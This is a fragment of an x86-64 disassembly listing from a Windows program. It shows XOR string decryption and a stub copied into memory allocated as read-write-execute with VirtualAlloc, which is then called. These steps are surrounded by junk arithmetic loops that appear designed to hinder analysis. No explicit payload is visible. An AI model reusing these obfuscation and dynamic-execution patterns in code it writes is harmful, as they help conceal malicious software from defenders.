pmuldq xmm0, xmm11
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm10
pmuldq xmm1, xmm10
shufps xmm3, xmm1, 0xdd
psrad xmm3, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x3c]
xorps xmm2, xmm1
movd dword [rsp + 0x3c], xmm2
jmp 0x140011c01
lea r10, [rsp + 0x38]
mov r9d, r12d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x77
sub r8b, cl
add r8b, 0x55
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 8
jl 0x140011bb0
lea r8, [rbp + 0x178]
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x120]
call fcn.140022290
nop
mov rcx, rax
call fcn.140020620
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0xd8]
call fcn.140002540
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.140002550
nop
mov ecx, r12d
mov rax, qword [0x14003db10]
test rax, rax
je 0x140011c7f
cmp rax, rbx
je 0x140011c6c
inc ecx
mov rax, qword [rdi + rcx*8 + 0x3db10]
test rax, rax
jne 0x140011c56
jmp 0x140011c7f
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x3cb40]
test r8, r8
jne 0x140011d60
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140011ca8
mov r8, r12
jmp 0x140011d3f
mov rax, rbx
mov rcx, r8
mov rdx, r14
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140011cb1
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14003b520]
mov qword [rdi + rax*8 + 0x3db10], rbx
mov qword [rdi + rax*8 + 0x3cb40], r8
inc rax
mov qword [0x14003b520], rax
lea rdx, [rsp + 0x40]
lea rcx, [0x14000add0]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
lea rcx, [rbp + 0x120]
call fcn.140020760
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x1a0]
call fcn.1400200e0
mov dword [rbp + 0xd0], 0xffffff9c
mov dword [rbp + 0xd4], 0x64
movdqa xmm0, xmmword [0x1400319b0]
movups xmmword [rbp + 0x110], xmm0
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm7
lea rcx, [rsp + 0x50]
call fcn.140001650
mov qword [rsp + 0x40], 0x64
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.140021a70
lea rcx, [rbp + 0xf0]
call fcn.140002540
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], r12
lea rcx, [rsp + 0x40]
call fcn.140021a90
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.140020010
nop
lea rcx, [rsp + 0x50]
call fcn.14001fff0
nop
lea rcx, [rsp + 0x40]
call fcn.14001fff0
lea rcx, [rsp + 0x40]
call fcn.140021ac0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.140020010
nop
lea rcx, [rsp + 0x50]
call fcn.14001fff0
nop
lea rcx, [rsp + 0x40]
call fcn.14001fff0
lea rcx, [rsp + 0x40]
call fcn.140021af0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.140020010
nop
lea rcx, [rsp + 0x50]
call fcn.14001fff0
nop
lea rcx, [rsp + 0x40]
call fcn.14001fff0
lea rcx, [rsp + 0x40]
call fcn.140021b20
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.140020010
nop
lea rcx, [rsp + 0x50]
call fcn.14001fff0
nop
lea rcx, [rsp + 0x40]
call fcn.14001fff0
lea rcx, [rsp + 0x40]
call fcn.140021b50
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.140020010
nop
lea rcx, [rsp + 0x50]
call fcn.14001fff0
nop
lea rcx, [rsp + 0x40]
call fcn.14001fff0
lea rcx, [rsp + 0x40]
call fcn.140021b80
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.140020010
nop
lea rcx, [rsp + 0x50]
call fcn.14001fff0
nop
lea rcx, [rsp + 0x40]
call fcn.14001fff0
lea rcx, [rsp + 0x40]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.1400024f0
test al, al
jns 0x1400122ea
nop
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
mov rbx, qword [rbp + 0xf8]
sub rbx, qword [rbp + 0xf0]
sar rbx, 3
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0xf0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021bb0
movaps xmm5, xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021bb0
movaps xmm1, xmm5
call fcn.1400023c0
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021bb0
movaps xmm1, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021bb0
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, [0x1400309c0]
lea rcx, [rbp + 0x120]
call fcn.1400207c0
nop
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x120]
call fcn.140002330
lea rcx, [rbp + 0xd8]
call fcn.140002540
lea rcx, [rbp + 0xd8]
call fcn.140020190
nop
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.140021c30
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd8]
call fcn.140002440
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.140021c90
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
mov ebx, eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
mov r8d, ebx
mov edx, eax
call fcn.140002510
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
test al, 1
jne 0x1400121d6
call fcn.1400219d0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x1400121e5
call fcn.1400219d0
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, 5
nop word [rax + rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021bb0
movsd xmm5, qword [rsp + 0x38]
addsd xmm0, xmm5
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
test bl, 1
jne 0x140012265
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x140012285
movsd xmm5, qword [rsp + 0x38]
lea rcx, [rbp + 0x110]
call fcn.140021bb0
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x38], xmm5
inc ebx
cmp ebx, 5
jl 0x140012200
sub rdi, 1
jne 0x1400121f0
lea rcx, [rbp + 0xd8]
call fcn.140020130
nop
lea rcx, [rbp + 0x120]
call fcn.140020760
sub rsi, 1
jne 0x140011fc0
lea rcx, [rsp + 0x40]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.1400024f0
test al, al
js 0x140011fb0
lea rdi, [0x140000000]
lea rsi, [0x140022230]
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0xf0]
call fcn.140020040
movups xmm0, xmmword [str.2_9:_r]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x1400311d0]
movups xmmword [rbp], xmm1
movups xmm0, xmmword [0x1400311e0]
movups xmmword [rbp + 0x10], xmm0
movsd xmm0, qword [0x1400311f0]
movsd qword [rbp + 0x20], xmm0
mov eax, dword [0x1400311f8]
mov dword [rbp + 0x28], eax
movzx eax, word [0x1400311fc]
mov word [rbp + 0x2c], ax
movzx eax, byte [0x1400311fe]
mov byte [rbp + 0x2e], al
mov r9d, r12d
cmp r15d, 2
jl 0x1400124f1
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp - 0x10]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x140012370
cmp r9d, 0x3f
jge 0x140012551
movsxd rax, r9d
lea r10, [rbp - 0x10]
add r10, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x77
sub r8b, cl
add r8b, 0x55
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x3f
jl 0x140012500
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0xd8]
call fcn.140002540
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.140002550
nop
mov ecx, r12d
mov rax, qword [0x14003bea0]
test rax, rax
je 0x1400125b9
nop dword [rax]
cmp rax, rsi
je 0x1400125a6
inc ecx
mov rax, qword [rdi + rcx*8 + 0x3bea0]
test rax, rax
jne 0x140012590
jmp 0x1400125b9
mov eax, ecx
mov r10, qword [rdi + rax*8 + 0x3b860]
test r10, r10
jne 0x14001269f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x1400125e2
mov r10, r12
jmp 0x14001267e
mov rax, rsi
mov rcx, r10
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r14, 1
jne 0x1400125f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14003b850]
mov qword [rdi + rax*8 + 0x3bea0], rsi
mov qword [rdi + rax*8 + 0x3b860], r10
inc rax
mov qword [0x14003b850], rax
lea rdx, [rsp + 0x40]
lea rcx, [0x14000add0]
call r10
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
lea rcx, [rbp + 0x178]
call fcn.140020760
nop
mov rax, qword [rbp + 0x160]
movabs rcx, 0xff00ff00ff00ff00
xor rax, rcx
lea rcx, [rbp + 0x1608]
mov qword [rcx], rax
mov rcx, qword [rbp + 0x1530]
xor rcx, rsp
call fcn.14002c330
lea r11, [rsp + 0x16e0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret